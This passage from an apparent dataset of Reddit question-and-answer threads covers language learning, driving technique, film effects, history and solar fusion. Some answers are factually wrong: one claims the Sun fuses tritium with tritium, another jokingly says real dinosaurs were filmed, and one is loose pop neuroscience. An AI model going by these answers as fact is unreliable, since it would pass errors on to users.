I'm mentioning here in case s/he'd like to weigh in on your question. It might be useful to go check out that thread, or at least DockingBay's response. Good luck!\n\nEdit: A book that was highly suggested in that thread is O'Grady's [How Children Learn Language](_URL_0_). Might be worth checking out.", "Infants absorb a lot of information.  I'm taking a Language Acquisition class, and we were discussing a study ([Kuhl et al. 2003](_URL_0_)) where American infants were exposed to a Mandarin speaker, who would speak to them for twelve 25 minute sessions over the period of a month.  After the twelve sessions, they then tested whether the infants could perceive the differences between Mandarin phonemes.  The result?  Infants were able to differentiate them like a native infant would.  They also found that listening to audio, even when accompanied with a visual stimulus, was ineffective.  *The social aspect of language acquisition is vital to the process.*  This study has been repeated a bunch of times (one of which was the same thing but with Taiwanese babies exposed to English).  \n\nBased on this study, I would say just talk to them in the language you want them to learn.  There's a video that explains the study better than I can--I'll try to find it.\n\n**EDIT** [Found it!](_URL_1_)  Even if you're not interested in the study, if you like babies you should watch it.  It's super cute.", "I have a question I've been wondering and I think this thread is relevant; hopefully someone can answer it.  Can a child only learn to speak a different language fluently if they have people around them speaking it?\n\nMeaning, if I gave my kid books that were bilingual or written in another language, would they be able to learn the language to any decent degree from just that?  (I'm assuming if I supplemented those books with audio material of the language being spoken, that improve their chances for picking it up... is that correct?)\n\nI hope all of that makes sense.\n\nEdit:  Thank you all for your great, informative answers!  This sub and its participants really are excellent! :D", "Can I add a very related question? If I speak language X natively, my partner language Y natively, and we both normally communicate in English with each other (which be both also speak very well) while living either in country X or country Y, how does it behave then? Is there a danger of teaching the children the \"bad\" non-native English when we inevitably speak it with one another, even if we only speak X and Y with the children? Or should we just teach them English plus the foreign language?", "There's a book titled \"Now you see it\" by Cathy N Davidson. It discusses how the brain of a child has little neural pathways, and we the parents unconsciously shape pathways through daily interactions (language speaking for example). Solely hearing language X will shape pathways for the child to speak language X efficiently, at the cost of sacrificing neurons that can be used to speak language Y or Z.\n\nUnconsciously, adults tend to reward behaviors that produce focused and specific neural pathways. Hyperactive is bad, easily distracted is bad, these are all caused by children not having a focused pathways. Thus many parents feel that it's important to focus on a language first before teaching another.\n\nBut non-focused pathway allows children to explore, it is the very foundation of creativity. When parents unconsciously shape pathways (like only speaking one language), the child shed neurons, and those lost neurons are very difficult to get back.\n\nThe book is titled \"Now you see it\", because once you have focused neural pathways, it's very difficult for you to see other possibilities, creativity dies.\n\nSo, IMHO, all language X, Y, Z must be spoken regularly (this is how we do it with our children), don't wait, don't worry about my kids not being able to pronounce word X in language Y as properly as other children who solely speak language Y. Non-focused neural pathway is not ADHD, it's just how children are, creativity is King."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=tB3zbSCY-zUC&amp;pg=PA698#v=onepage&amp;q&amp;f=false", "http://www.researchgate.net/profile/Mila_Schwartz/publication/232173308_Family_language_policy_Core_issues_of_an_emerging_field*/links/0912f50780d8a11d06000000.pdf", "http://www.polydromo.gr/httpdocs/files/Goneis/parents%20and%20bil.use.pdf", "https://books.google.com/books?id=nDTc9NRAkNMC"], ["http://www.amazon.com/Children-Language-Cambridge-Approaches-Linguistics/dp/0521531926", "http://www.reddit.com/r/linguistics+/comments/yqx6s/question_for_linguists/"], ["http://ilabs.washington.edu/kuhl/pdf/Kuhl_etal_PNAS_2003.pdf", "https://youtu.be/G2XBIkHW954?t=5m37s"], [], [], []]}
{"q_id": "s290y", "title": "If hair is dead, what facilitates the production of grease that layers it?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s290y/if_hair_is_dead_what_facilitates_the_production/", "answers": {"a_id": ["c4ai4ia", "c4altv6", "c4amlc7", "c4ao00k"], "score": [29, 2, 2, 6], "text": ["sebaceous glands\n\n_URL_0_", "I think he means: how does the oil get from root to tip, as it seems to cover all the hair after a bit.\n\nI though a part of it might be air particles and pollution, pollen, etc.", "It must be transferred to the hair in some manner, via hands or pressure/rubbing from lying down during sleep.", "As many others have said, the oil is produced at the root of the hair by the [sebaceous gland](_URL_1_).\n\nAnd as others have said, ruffling your hair, rushing it against things and other grooming habbits cause the oil to rub off on the strands.\n\nAlso, as your hair grows, it pushes up through the oily region and so is a bit greasy to begin with.\n\nThe part that no one else has mentioned is passive transfer. Any fluid with a bit of heat energy will wander one molecule at a time into cooler regions (eg: away from your scalp).  \n[Capillary](_URL_0_) action on the surface of the hair may also take place, essentially the hair acts as a Wick."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sebaceous_gland"], [], [], ["http://en.wikipedia.org/wiki/Capillary_action", "http://en.wikipedia.org/wiki/Sebaceous_gland"]]}
{"q_id": "2ywr0t", "title": "what is the \"heel and toe\" driving technique and why is it useful?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ywr0t/eli5_what_is_the_heel_and_toe_driving_technique/", "answers": {"a_id": ["cpdmzv4", "cpdq1sl", "cpdswpt", "cpdxvi8"], "score": [46, 8, 4, 4], "text": ["It's a technique for downshifting smoothly, and is useful when you need to downshift mid-corner and do not want to upset the balance of the car and risk losing drive-wheel grip from a jerky shift. You see it a lot in \"decreasing radius\" corners, which means they get sharper as the corner goes on requiring you to slow down.\n\nYou use your big toe to press the brake, your left foot to press the clutch, and downshift. Before releasing the clutch, you rotate your foot to tap the throttle (with the other side of your foot/pinky toe) while still braking. This revs the engine a bit, so when the clutch is released, the revs match the road speed and the change is smooth.\n\nYou don't actually use your heel most of the time, it's just the term that's been applied, because \"big toe and side of foot\" doesn't roll off the tongue quite as well. Some cars with a throttle hinged from the bottom (like Nissan Z cars, or an Acura TL) do let you use the heel. Top-hinge throttles like most cars have require the side of your foot or little toe to be used because your heel won't reach.", "Or put another way: So you don't encounter a surge of engine-braking on every downshift that can unsettle a car already being driven at the limit. If you're using 100% of available traction and then apply a braking force (the car's momentum pushing the wheels to increase the RPMs of the engine to match wheel speed) you'll then cause the car to do something you didn't want it to do, and possibly something it can't do- like make the turn as desired.\n\nAlso heel-toe-ing will ease stress on the transmission  &  clutch by matching engine+selected gear to wheel speed before engagement occurs. The clutch, and gear synchros will last longer as a benefit.", "It's a way to downshift smoothly while still braking in a standard transmission vehicle.  Normally when rev-matching a downshift you would use use the clutch and gas peddle solely.  But in some circumstances when driving very fast you might need to rev-match a downshift while also continuing to brake.  \"Heel  &  Toe\" refers to using your right foot across both the gas and brake pedals at the same time, while the left still works the clutch.\n\nYou can see the technique being used in this video (skip to 40 seconds in).  They've got multiple cameras setup that let you see him use all three pedals simultaneously while also showing the revs on the tachometer as he executes the move:\n\n_URL_0_", "**ELI5 Answer** - Heel  &  Toe in manual cars (vehicles with a clutch) is a technique to bring the engine rpm equal to the transmission rpm when they tend to be different while using the brake, like: downshifting.\n\n**ELI5 explanation** - \nCars (any vehicle with an engine  &  transmission) have 2 rotational speeds - engine rpm  &  transmission rpm. Transmission rpm is directly connected via gears to the wheels [t_rpm = c*w_rpm; c=constant determined by all the gear ratios  &  other multipliers]. \n\nA clutch is a way to disconnect the transmission from the engine. When changing gears, you're effectively multiplying the engine rpm by a certain factor to end up with a wheel rpm (part of the 'c' in the above equation). While upshifting, the engine rpm is less than the resulting wheel/transmission rpm, so the matching is ok. But while downshifting, the engine rpm needs to rise to match the wheel rpm. In the heel  &  toe technique, you depress the clutch and blip the throttle a little bit while you downshift and before you release the clutch. Ideally, your blip raises the engine rpm to approximately the wheel rpm. \n\nThis was born as a racing technique. When the driver is entering a corner, in say 6th gear at 200kmph, he has to brake to, say 40kmph in 3rd gear quickly. The difference in wheel rpms at those speed is significant and the engine has to quickly cope with the rise in its own rpm. The driver prefers to do this: (1) without any loss in time, (2) without upsetting the car  &  (3) be in the correct gear at the exit of the corner to have enough torque for good acceleration. Heel  &  toe helps reduce the stress on the engine  &  wear on the clutch, also the synchros (but that would not be an ELI5 answer!)\n\nI use the heel  &  toe quite a bit - when I'm slowing to a turn where I don't need to stop, when I need a gear after coasting or when I just need to downshift to get more torque and overtake someone on the highway (the last 2 are heel  &  toe without brakes = simple rev match). \n\nHope this makes sense! \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=8By2AEsGAhU"], []]}
{"q_id": "3u1n6m", "title": "Why are deep ocean creatures so hard to find? Once they die do the animals not float to the top of the ocean to be found?", "selftext": "I am curious about this because it seems like people have a really hard time finding giant squids or other creatures like that. When they die do the creatures sink? or are they lost in the ocean. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3u1n6m/why_are_deep_ocean_creatures_so_hard_to_find_once/", "answers": {"a_id": ["cxb6a8o", "cxb6cnm", "cxblyk5"], "score": [2, 19, 3], "text": ["They sink and are consumed by scavengers.", "They sink and get eaten ... just like pretty much anything else that dies in the ocean.  [Take dead whales for example](_URL_0_)", "At the depths of the deep ocean, the pressure is so great it is unlikely anything dead could float to the top. They just stay at the bottom and are consumed by other creatures and bacteria.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=rdI3eFrTGs8"], ["http://www.smithsonianmag.com/science-nature/nearly-8-miles-down-bacteria-thrive-in-the-oceans-deepest-trench-3298109/?no-ist"]]}
{"q_id": "6bba4l", "title": "When, and for what event or person, was the last Ticker-tape parade?", "selftext": "I know stock tickers were all finally decommissioned in the 1970s in favor of teletype machines (and subsequently, computers)\n\nWho or what had the honor of being the last-ever parade to be festooned with the tape streamers? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bba4l/when_and_for_what_event_or_person_was_the_last/", "answers": {"a_id": ["dhlevbl", "dhlyz6z"], "score": [4, 2], "text": ["The use of actual ticker tape has, as you suggested, declined since the computerization of Wall Street. However, at least as late as 1991, *some* ticker tape was being used in a parade. Trans-Lux, then one of the last manufacturers of stock tickers and the associated printing material, provided about 500 pounds of ticker tape out of some 12,000 pounds of overall material used when troops came home from Desert Storm. I've found some indications that it may have been used since then, but nothing for which I can find good resources.\n\nSource: [\"New York Salutes; A Lot of Stuff, A Little of It Ticker Tape\"](_URL_0_), New York Times, 11 Jun 1991", "How did ticker tape begin as a thing for celebration? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nytimes.com/1991/06/11/nyregion/new-york-salutes-a-lot-of-stuff-a-little-of-it-ticker-tape.html?src=pm"], []]}
{"q_id": "6ufccg", "title": "how did jurrasic park have such good cgi in 1993?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ufccg/eli5_how_did_jurrasic_park_have_such_good_cgi_in/", "answers": {"a_id": ["dls9kie", "dls9qps", "dlsck09", "dlse9pc", "dlsghoo", "dlsh8tb", "dlslqkw", "dlsoadb", "dlsqo1w"], "score": [4, 32, 7, 2, 8, 5, 4, 2, 11], "text": ["They used robot dinosaurs and CGed what couldn't be done practically. Now adays we're lazy fucks that go full CG which tends to look like ass.", "It really didn't. Jurassic Park mainly used animatronics ('life-like' robots) and old fashioned special effects.\n\nThen it just came down to a lot of planning and a REALLY good quality effects crew.\n\nTechnology (cgi) helps, but Jurassic Park (imho anyway) shows you can make a visually impressive movie with (comparatively) basic technology and a lot of creativity. \n\nEdit: I will happily stand corrected by /u/missle636. My response was based on a 'making of' I saw many years ago, which appears to have misled me about how heavily CGI was used. A quick look into ILMs history and I think I should admit I was wrong.", "They used physical props such as animatronics that were supplemented with CGI. It was not fully CGI created. It is the combination of practical and CGI that makes things look awesome and that is why I am glad we are going back to a mix. ", "There really isn't much CGI in Jurassic Park, mostly post-processing applied on top of filming with animatronic dinosaurs. Peak CGI of early 90 was Terminator 2, and despite CGI sequences totaling like 5 minutes they took 25 man-years of work, 5 million dollars and renting a supercomputer of that time for ten months to render the effects.", "They didn't have good CGI really, They just used it very, very well.\n\nThere were actually a ton of practical effects used in Jurassic park with animatronics and models etc and CGI was seamlessly mixed in with that when it would be least noticeable like in the dark or the rain.\n\nThey also used CGI for stuff that is easy to use CGI for. The smooth dino-skin is easy to create with a computer. Hair or feathers are much harder to make look right with CGI.\n\nThe also had experts with backgrounds in stop-motion and similar to help make the animation look life-like.\n\nIt also helped that they had a director like Spielberg who actually knows what he is doing to get everything to mix it all up.", "It really didn't have much CGI or animatronics. They actually created real dinosaurs and trained them to act in a movie, which was base on a true story....their story. CGI wasn't that great in 1993. They did use some CGI to make the kids, which is why they look so horrible in the movie.", "To supplement the answers already here, the only dinosaur we see pretty close up in good light, that's completely cgi is the brachiosaurus at the beginning eating the leaves at the top of the trees.\n\nIt's no coincidence that that's probably the scene that's held up the worst over the years and looks the most \"cgi\".\n\nAll the memorable close up dinosaur moments that still look so amazing achieve that because they're mostly highly detailed puppets and physical animatronics as opposed to computer imagery, which was reserved for distant full body shots, obscured by darkness and rain. \n\nTL;DR: They knew the limits of the effects they had at their disposal and made the most of each method. ", "Jurassic Park pretty much falls under the scope of 'less is more'. It works so well cause most of it is animatronics and real and they used CGI for select scenes but they put everything in their CGI for that reason. ", "All these responses so far are horribly misleading, borderline incorrect!\n\nWhile they did use a large amount of animatronics, a lot, and I mean A LOT, of the scenes with dinosaurs in it are CGI.\nNotable are: the T-Rex chasing car scene, the opening-scene \"welcome to Jurassic Park\", the scene where the T-Rex is destroying the flipped car (there wasn't even a real car there), the flock of Gallimimus', the raptor kitchen scene, the T-Rex finale in the museum and many, many more. All of these dinosaurs were pure CGI.\nAnother notable usage of CGI in this movie is the scene where the girl falls through the ceiling, and looks up into the camera. The actress who did this stunt was actually a stunt-actress and so the face of the original actress was overlayed with the help of CGI. You can't do that convincingly if your CGI isn't on point.\nI think I've made my point clear now.\n\nSo now to answer your original question. The CGI in Jurassic Park is made by a studio called ILM. And with this movie, they revolutionized the business and usage of CGI in the filmindustry. ILM showed that is was possible to create convincing animate objects such as animals with the help of computers, and really started the demise of [stop motion](_URL_0_).\nHow they exactly did it I don't really know, but most likely the computer technology was just powerful enough to accomplish these things, and it was the first time someone tried to do it. The team at ILM also had incredible artistic freedom.\n\nFun fact: the movie was originally supposed to be completely stop motion, but when Spielberg saw the work of ILM, he revised many scenes to include their CGI. They even added the scene of the T-Rex fighting with the raptor in the museum just because they could do it with CGI."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Stop_motion"]]}
{"q_id": "3xg0w3", "title": "How were people like Jack Churchill allowed to carry a sword and longbow into a WW2 battle?", "selftext": "Can somebody enlighten me on how the regulations were like back then? Nowadays you probably can't even carry your grandfather's sidearm into battle with you much less a longbow. \n\nCould officers just carry whatever the hell they wanted to? If I was a British WW2 captain, hypothetically can I bring a sword alongside my pistol into battle and stab Germans with it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3xg0w3/how_were_people_like_jack_churchill_allowed_to/", "answers": {"a_id": ["cy4i65m", "cy5jn1q"], "score": [342, 31], "text": ["Hiya, folks!\n\nThis thread has attracted a particularly large number of low quality and off-topic answers. Before posting, please consider our [subreddit rules](_URL_1_), and pay special attention to our requirements for [in-depth answers](_URL_0_) and our rules against [speculation](_URL_2_). \n\nPlease keep in mind the following questions when writing a response:\n\n >  Do I have the expertise needed to answer this question?\n\n >  Have I done research on this question?\n\n >  Can I cite my sources?\n\n >  Can I answer follow-up questions?\n\nThanks!", "I am not strictly a World War II historian, but the question intrigued me enough to do some research with the resources I have available. \n\nJack Churchill only carried his longbow during the \"Phoney War,\" it was not something he used all the time, and from what I have read he only really used it on two occasions to cause confusion. I can't comment any more on it without speculating. \n\nWith regards to his sword, Churchill carried it in his time in the British Commandos. When British Commandos were initially formed they did not have regulations or requirements on equipment. Each Commando was supposed to supply his own rifle and pistol, but was assigned a Fairbairn\u2013Sykes fighting knife, and sometimes a sword bayonet which was about 23 inches long. For comparison, the basket-hilted broadsword Churchill carried would only have been a bit larger than the bayonets they were issued already. They typically have a blade of about 29\", about the same size as a military dress sabre. Don't imagine it as a huge Braveheart sword, [it probably looked like this](_URL_0_). In fact, you can see [Jack Churchill carrying the sword in this picture](_URL_1_). In general commandos were allowed extreme flexibility in their choice of weapons since their load-out was very mission dependent. Regulations regarding their equipment risked compromising their innate flexibility. \n\nSo his sword would only have been a bit larger than a weapon they were already issued, and it wasn't actually against a regulation to carry or use in battle given the Commando's extreme flexibility anyway. Commandos were trained to use any weapon available given that they may be forced to use enemy weapons and may often be forced to resort to hand to hand combat. Churchill could have probably made enough of an argument that the sword was technically still a part of some military dress at the time (and is today); therefore, he should be allowed to at least bring it with him to war. When suiting up for a Commando raid, I doubt many people would have told him he couldn't bring a weapon unless it risked compromising the mission. Churchill also made good use of his more typical weapons like rifle and pistol.\n\nThat said, I also can't speak to the Bagpipes, though it seems he used it mainly as a signaling device. \n\nSources: \n\n*Jack Churchill: Unlimited Boldness*\n\n*British Commandos: 1940-46*\n\nVarious *Special Series* publications by the US Military Intelligence Service regarding British Commandos, but primarily No. 1, from August 2, 1942. British manuals on Commandos might be more useful, but I don't have access to them. \n\n*More of the Deadliest Men Who Ever Lived* for confirmation on some dates. It also had a bit about his longbow use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_write_an_in-depth_answer", "http://www.reddit.com/r/AskHistorians/wiki/rules", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_speculation"], ["https://upload.wikimedia.org/wikipedia/commons/a/a3/Schiavona-Morges.jpg", "http://warfarehistorynetwork.com/wp-content/uploads/Jack-Churchill-Training-Exercise.jpg"]]}
{"q_id": "2blhwn", "title": "with the invention of the automobile, how were the masses taught how to drive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2blhwn/eli5_with_the_invention_of_the_automobile_how/", "answers": {"a_id": ["cj6gxcy", "cj6hk80", "cj6j2j7", "cj6j5nq", "cj6jmmv", "cj6kf3a", "cj6kmn6", "cj6kyjx", "cj6na4t", "cj6o1gx", "cj6rdgv", "cj71yvj"], "score": [121, 8, 5, 2, 17, 29, 6, 12, 3, 6, 2, 2], "text": ["Roads were certainly not like they are now, when cars were invented.\n\nCars were slow, there were no proper rules of the road, and there were very few cars. So there was no real danger in someone buying a car, reading the instruction manual, and teaching themselves how to drive.\n\nSoon after cars started becoming popular, some rules were put in place, such as the [red flag rules](_URL_0_), which requires a person to walk in front of a moving car waving a red flag, to warn pedestrians about the danger of the oncoming car.\n\nOf course the history of driving licences is different in every country, but in the UK, drivers were required to register their details from 1903, and received a piece of paper certifying that they were entitled to \"drive a motor car or motor cycle\", or, when the wording was revised a few years later, to \"drive and steer a motor car, or drive a motor cycle.\"\n\nBy the time driving tests were introduced in 1934, there was already a large enough base of drivers that I'd imagine it wasn't too difficult to find people to become examiners and instructors.", "Mostly by running into trees and ditches. Certainly not by colliding with other cars. There weren't enough of them.", "I don't know about the first cars, but with the Model T it came with an extensive and dumbed down manual, but more importantly, the sales person would typically spend a day or so teaching the whole family to drive it and all the maintenance etc. the car needed.", "When my grandfather got his first car the dealer drove out to the farm to deliver it. He showed how to operate it and they drove around the yard a few times. That was it. I believe it was a Model T. ", "If you read the first model T manuals cars were ridiculously difficult to operate.  \n\n\nEdit: here's a link.\n_URL_0_", "Coincidentally, I just read an ancedote about this today. Roald Dahl's book, \"More About Boy\", he has a chapter about his older half sister getting the first car in the family (1925). She learned to drive it by getting two half hour lessons from the guy that delivered the car. \n\nThe first time she took the car out, everyone went with. The top was down and this model had a windscreen for the backseat as well as the front. After being urged to go faster, she missed a curve and crashed into a hawthorn hedge. Three people in front seat and four in the back, all were sent through the windscreens into the hedge and road. Roald was 9, his little sister 5. \n\nThe only one hurt, miraculously, was Roald. His nose was sliced off. The doctor stitched it back on (surgery at that time was often done at the person's house) and it was good as new.", "When my grandfather bought his first car he was shown how to start it and how to use the accelerator by the salesman.  It was only after he was in motion that it occurred to him that no mention of how to slow or stop it had been made.", "I read somewhere that they had a lot of trouble telling people that you couldn't say wooooo to slow it down like you could a horse.  People would be coming up on a curve or needing to stop and would start yelling at the car to stop instead of hitting the break. Ill try and find it", "Before cars, you had horse drawn carriages, which were a lot harder to operate than an automobile.  They were also too expensive for most people to own, so they generally worked as more of a taxi service.  If you could own one, you could also afford to employ a coachman.\n\nCars grew out of this system.  Most people didn't own them, they were main operated either by the rich, or by those who made driving their profession.  In fact, some people believed cars would never catch on, because there weren't enough work class people who could be trained to operate them.\n\nSlowly, over the years, the price of owning a car dropped, world wars and other circumstances taught more people to drive, automobile infrastructure improved, until just about everyone drove.  But it didn't happen overnight.  ", "We weren't. To this day, most people don't know how to drive. They just aim. ", "My great grandfather was born in 1910.  My grandma (his daughter) tells us a story often that when cars came out, you could just go out and buy one without having a license.  Once it was decided that you needed a permit to drive, there was the task of testing every one.  She says that her father went to a testing center, the instructor told all the candidates to park in a line, bumper to bumper, behind his car.  He then just told the line of cars to follow him. They drove around a block and back into the testing center, and everyone passed.    \nThat's the story, anyhow.  Not sure how accurate it is for being almost a century old.", "Cars were not nearly as easy to drive back then.  You had to have a lot of technical  &  mechanical knowledge about the car, since there was a possibility you'd have to service it on any given trip (the \"trunk\" used to be an actual trunk where you kept your tools).  In fact, many cars were sold as kits which you had to put together yourself.  The type of person who bought a car was like any enthusiastic early adopter of new technology today.  There were few people doing it in combination with the fact that they had to be highly knowledgeable and skilled in it's use.  To illustrate, the vehicle owners even had to make their own license plates.  There just wasn't the infrastructure or bureaucracy we have today.\n\nPlus if you think about it, it's a carriage with no horse.  So it's a carriage where instead of the power and steering potentially having a mind of it's own, the power and steering are completely controlled by the operator.  It was *more* safe that the going mode of transportation.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Red_flag_traffic_laws"], [], [], [], ["http://www.mtfca.com/books/1926Inst.htm"], [], [], [], [], [], [], []]}
{"q_id": "d5213o", "title": "Partway through the 1939 movie \"The Wizard of Oz\" it changes from black-and-white to color. Is this something that the audiences expected to happen, or did it come as a complete surprise to them?", "selftext": "Did any of the marketing of the movie indicate that the movie would be in color?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d5213o/partway_through_the_1939_movie_the_wizard_of_oz/", "answers": {"a_id": ["f0kqraw"], "score": [151], "text": ["Yes, it was widely promoted as being in Technicolor, examples:\n\n* _URL_5_\n* _URL_2_\n* _URL_3_\n\nAlso, reviews from the era indicate that if anything, the use of color (and how it was introduced in the movie) was expected, but also deliberately over the top compared to films of the era e.g. [The New Yorker's review](_URL_0_):\n\n >  The vulgarity of which I was conscious all through the film is difficult to analyze. Part of it was the raw, eye-straining Technicolor, applied with a complete lack of restraint.\n\nOr the [New York Times](_URL_1_):\n\n >  A fairybook tale has been told in the fairybook style, with witches, goblins, pixies and other wondrous things drawn in the brightest colors and set cavorting to a merry little score. It is all so well-intentioned, so genial and so gay that any reviewer who would look down his nose at the fun-making should be spanked and sent off, supperless, to bed.\n\nOr [Variety's review](_URL_4_):\n\n >  Except for opening and closing stretches of prolog and epilog, which are visioned in a rich sepia, the greater portion of the film is in Technicolor. Some of the scenic passages are so beautiful in design and composition as to stir audiences by their sheer unfoldment.\n\nWhat is interesting is that the transition scene was actually filmed in color with sepia-colored objects and sepia-made-up Judy Garland stand-in: _URL_6_."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.newyorker.com/magazine/1939/08/19/the-wizard-of-hollywood", "https://www.nytimes.com/1939/08/18/archives/the-screen-in-review-the-wizard-of-oz-produced-by-the-wizards-of.html", "https://i.ebayimg.com/images/g/EaEAAOSwuIRdJ6aP/s-l1600.jpg", "http://www.moviepostercollectors.guide/MPC_Showcase_Wizard_of_Oz_files/Wizard%20of%20Oz,%20The%20%281939%20US%203S%29.jpg", "https://variety.com/1939/film/reviews/the-wizard-of-oz-3-1200412289/", "https://i.ebayimg.com/images/g/o-kAAOSwA4Va4fPw/s-l1600.jpg", "https://birthmoviesdeath.com/2013/09/16/true-movie-magic-how-the-wizard-of-oz-went-from-black-white-to-color"]]}
{"q_id": "6iynre", "title": "Could an autopsy show a recent abortion?", "selftext": "If a victim has had an abortion within the past month or so, would an autopsy show that recent abortion?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6iynre/could_an_autopsy_show_a_recent_abortion/", "answers": {"a_id": ["djbn1q2"], "score": [2], "text": ["It could. Depends on the stage of the pregnancy and the abortion method and how completely it was.\nObviously the later in pregnancy the more evidence will it left. And even for very early abortions it is not uncommon to find remnants of the products of gestation and pregnancy related changes in the body such as certain hormones and uteral and endometrial changes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "24cvrp", "title": "Does the sun's fusion of Hydrogen into Helium occur at a constant rate or does it become exponentially faster as time goes on?", "selftext": "So I understand that the fusion of Hydrogen into Helium is done through a massive chain reaction, which implies that the speed at which hydrogen is fused to make helium should increase exponentially. Is this the case or do other factors influence how fast Hydrogen is used up? If I was right in thinking it increases exponentially, is this accounted for in the calculations that estimate the life of the sun? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24cvrp/does_the_suns_fusion_of_hydrogen_into_helium/", "answers": {"a_id": ["ch5xgvk", "ch5ymch", "ch5zylb", "ch61v9v"], "score": [21, 7, 21, 9], "text": ["A star like the sun is getting brighter! Really, chain reaction ideas and thing like that break down at this scale. Imagine that you make helium, then it will sink to the center because it's heavier right? Well that's now you have an inert helium core, and the \"shell\" of hydrogen combustion is getting bigger and bigger. This will happen slowly and slowly until the shell starts to push it's self away with the fusion pressure (which counters the gravity). This is the Red Giant phase, and will slowly cool off until the helium has enough mass to start helium fusion ", "What do you mean when you say it's a \"chain reaction\"? \n\nIf you're thinking it's something like a huge fission bomb (one atom splits, neutrons from that splits two atoms, neutrons from those splits 4 etc.) then you've got the wrong idea. \n\nFusion reactions, which are responsible for the Sun's energy production, do not work like that.", "It does, sort of, occur through a chain reaction, but the speed of the reaction depends on the available fuel, the temperature and the pressure involved. Firstly, as the amount of available hydrogen goes down, the reaction will clearly slow down. It does not increase exponentially.\n\nSecondly, the reaction is not quite as simple as a fission reaction. Two hydrogen nuclei fuse into deuterium (hydrogen, but with one neutron as well). Then another hydrogen nucleus fuses with the deuterium to create tritium (more hydrogen, but with two neutrons). Then the *tritium* fuses with another *tritium* nucleus to create helium and two hydrogen nuclei. So there are other limiting factors, like the likelihood of two tritium nuclei fusing together, which depends on the availability of tritium. \n\nThirdly, fusion in stars is effectively a self-limiting process. A higher fusion rate will result in a higher temperature. A higher temperature will result in an increase in pressure from inside the star, and therefore the star will expand. The expansion of the star will reduce the temperature, which reduces fusion rate, which reduces the pressure, which collapses the star, which increases the temperature, which increases fusion rate... etc. The stable state of the star is effectively determined by its mass, and so the fusion rate is essentially constant for billions of years, until the mass has significantly changed or the availability of hydrogen has significantly changed.", "It isn't a chain reaction in the nuclear bomb sense, but rather a \"chain of reactions\". I assume you're talking about the [Proton-Proton Chain](_URL_2_) which isn't a chain reaction in the sense of one reaction triggering many others, but is rather a chain in the sense that it is a series of reactions that proceed in order to ultimately transform 4 hydrogen into 1 helium (and some other particles).\n\n Think of it like this, its not like a domino effect, so much as an assembly line. Each reaction occurs slowly, and the likelihood of the intermediate products encountering each other in the right way is actually rather small, as they are never present in high concentrations. In just the same way that chemical reactions like burning wood in a campfire don't exponentially speed up, the nuclear reaction in the sun is also stable over time. The only time reactions can exponentially increase like that is when there is unreacted precursor material near the start of a reaction (like a bomb). But everything that can react in the sun (like in a campfire) already is.\n\nAdditionally, the sun is in equilibrium. The reaction rate depends on the pressure and temperature. If--for some reason--the sun suddenly started fusing hydrogen more quickly, it would heat up and expand. The expansion would slow the reaction, it would cool off, and return to its normal size and rate. The reverse is also true, if it slowed down, it would cool, contract, the pressure would increase, the reaction would speed up, and things would go back to normal. That's why the sun doesn't blow up or go out. If the reaction rate increased exponentially, the sun would be a bomb.\n\n an The PP chain is actually quite slow, and that is what accounts for the long life of the sun. The sun only produces around [150 watts of power per cubic meter in its core](_URL_1_), around the same as a decaying pile of compost. The sun isn't using its fuel fast, but rather is using a lot at once because it is huge.\n\nThe temperature increase at the end of the sun's life is not due to hydrogen fusion speeding up, but rather the gradual end of hydrogen fusion altogether. The sun shrinks, the pressure raises the temperature in accordance with the Ideal Gas Law (PV=nRT) and eventually the core gets hot enough to start fusing helium, remaining at that high temperature. The surface doesn't get much hotter, but rather expands so that there is more surface area to radiate heat. In fact it overcompensates, and cools slightly, becoming redder, even though its total energy output has dramatically increased.\n\nFinally, there is one scenario where the type of exponential increase you're talking about actually happens: a [Pair Instability Supernova.](_URL_0_) This happens to extremely large stars hundreds of times more massive than the sun. Their cores are so hot, the gamma rays within have enough energy to spontaneously turn into pairs of particles and anti-particles (usually electrons and positrons). The gamma rays are what produce the radiation pressure that supports the core against collapse, and with their energy locked up in the mass of some particles, the pressure drops. The core collapses, speeding up fusion, but unlike the sun, this causes more particle/anti-particle pairs and drops the pressure further, allowing further collapse. Suddenly the density gets so high that the whole core of the star reacts as once. Most stars burn as reactors, this one goes off as a bomb. There's nothing left, no neutron star or black hole, nothing. The whole star unbinds itself and violently spews its guts out into space. Lets be glad our sun can't do that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Pair-instability_supernova", "https://en.wikipedia.org/wiki/Solar_core#Energy_production", "https://en.wikipedia.org/wiki/Proton%E2%80%93proton_chain_reaction"]]}
